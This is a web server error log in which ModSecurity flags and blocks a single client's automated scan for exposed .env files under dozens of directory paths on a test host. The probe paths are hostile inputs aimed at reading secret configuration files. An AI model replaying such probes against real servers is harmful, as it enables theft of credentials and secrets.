[Wed Feb 25 06:05:14.034375 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/jenkins/.env&quot;] [unique_id &quot;aZ6DCrZegw_qLbSTRXm5mwAAAAM&quot;]
[Wed Feb 25 06:05:14.034570 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/jenkins/.env&quot;] [unique_id &quot;aZ6DCrZegw_qLbSTRXm5mwAAAAM&quot;]
[Wed Feb 25 06:05:14.094827 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /github-connect/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/github-connect/.env&quot;] [unique_id &quot;aZ6DCuTWwZsZM3_RktVDQQAAAAU&quot;]
[Wed Feb 25 06:05:14.095087 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/github-connect/.env&quot;] [unique_id &quot;aZ6DCuTWwZsZM3_RktVDQQAAAAU&quot;]
[Wed Feb 25 06:05:14.095250 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/github-connect/.env&quot;] [unique_id &quot;aZ6DCuTWwZsZM3_RktVDQQAAAAU&quot;]
[Wed Feb 25 06:05:14.120996 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /google/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/google/.env&quot;] [unique_id &quot;aZ6DCuTWwZsZM3_RktVDQgAAAAU&quot;]
[Wed Feb 25 06:05:14.121226 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/google/.env&quot;] [unique_id &quot;aZ6DCuTWwZsZM3_RktVDQgAAAAU&quot;]
[Wed Feb 25 06:05:14.121380 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/google/.env&quot;] [unique_id &quot;aZ6DCuTWwZsZM3_RktVDQgAAAAU&quot;]
[Wed Feb 25 06:05:14.140826 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /joomla/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/joomla/.env&quot;] [unique_id &quot;aZ6DCrZegw_qLbSTRXm5nQAAAAM&quot;]
[Wed Feb 25 06:05:14.141063 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/joomla/.env&quot;] [unique_id &quot;aZ6DCrZegw_qLbSTRXm5nQAAAAM&quot;]
[Wed Feb 25 06:05:14.141247 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/joomla/.env&quot;] [unique_id &quot;aZ6DCrZegw_qLbSTRXm5nQAAAAM&quot;]
[Wed Feb 25 06:05:14.165456 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /js-plugin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/js-plugin/.env&quot;] [unique_id &quot;aZ6DCrZegw_qLbSTRXm5ngAAAAM&quot;]
[Wed Feb 25 06:05:14.165697 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/js-plugin/.env&quot;] [unique_id &quot;aZ6DCrZegw_qLbSTRXm5ngAAAAM&quot;]
[Wed Feb 25 06:05:14.165883 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/js-plugin/.env&quot;] [unique_id &quot;aZ6DCrZegw_qLbSTRXm5ngAAAAM&quot;]
[Wed Feb 25 06:05:14.234874 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /grems-api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/grems-api/.env&quot;] [unique_id &quot;aZ6DCuTWwZsZM3_RktVDRQAAAAU&quot;]
[Wed Feb 25 06:05:14.235121 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/grems-api/.env&quot;] [unique_id &quot;aZ6DCuTWwZsZM3_RktVDRQAAAAU&quot;]
[Wed Feb 25 06:05:14.235277 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/grems-api/.env&quot;] [unique_id &quot;aZ6DCuTWwZsZM3_RktVDRQAAAAU&quot;]
[Wed Feb 25 06:05:14.290761 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /grems-frontend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/grems-frontend/.env&quot;] [unique_id &quot;aZ6DCuTWwZsZM3_RktVDRgAAAAU&quot;]
[Wed Feb 25 06:05:14.291028 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/grems-frontend/.env&quot;] [unique_id &quot;aZ6DCuTWwZsZM3_RktVDRgAAAAU&quot;]
[Wed Feb 25 06:05:14.291194 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/grems-frontend/.env&quot;] [unique_id &quot;aZ6DCuTWwZsZM3_RktVDRgAAAAU&quot;]
[Wed Feb 25 06:05:14.405693 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /hash/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Hash/.env&quot;] [unique_id &quot;aZ6DCuTWwZsZM3_RktVDRwAAAAU&quot;]
[Wed Feb 25 06:05:14.405960 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Hash/.env&quot;] [unique_id &quot;aZ6DCuTWwZsZM3_RktVDRwAAAAU&quot;]
[Wed Feb 25 06:05:14.406130 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Hash/.env&quot;] [unique_id &quot;aZ6DCuTWwZsZM3_RktVDRwAAAAU&quot;]
[Wed Feb 25 06:05:14.451627 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /hasura/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hasura/.env&quot;] [unique_id &quot;aZ6DCuTWwZsZM3_RktVDSAAAAAU&quot;]
[Wed Feb 25 06:05:14.451906 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hasura/.env&quot;] [unique_id &quot;aZ6DCuTWwZsZM3_RktVDSAAAAAU&quot;]
[Wed Feb 25 06:05:14.452076 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hasura/.env&quot;] [unique_id &quot;aZ6DCuTWwZsZM3_RktVDSAAAAAU&quot;]
[Wed Feb 25 06:05:14.562590 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /helmetjs/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Helmetjs/.env&quot;] [unique_id &quot;aZ6DCuTWwZsZM3_RktVDSgAAAAU&quot;]
[Wed Feb 25 06:05:14.562848 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Helmetjs/.env&quot;] [unique_id &quot;aZ6DCuTWwZsZM3_RktVDSgAAAAU&quot;]
[Wed Feb 25 06:05:14.563007 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Helmetjs/.env&quot;] [unique_id &quot;aZ6DCuTWwZsZM3_RktVDSgAAAAU&quot;]
[Wed Feb 25 06:05:14.591414 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /hgs-static/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hgs-static/.env&quot;] [unique_id &quot;aZ6DCuTWwZsZM3_RktVDSwAAAAU&quot;]
[Wed Feb 25 06:05:14.591668 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hgs-static/.env&quot;] [unique_id &quot;aZ6DCuTWwZsZM3_RktVDSwAAAAU&quot;]
[Wed Feb 25 06:05:14.591837 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/hgs-static/.env&quot;] [unique_id &quot;aZ6DCuTWwZsZM3_RktVDSwAAAAU&quot;]
[Wed Feb 25 06:05:14.679805 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /jsrelay/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/jsrelay/.env&quot;] [unique_id &quot;aZ6DCrZegw_qLbSTRXm5pgAAAAM&quot;]
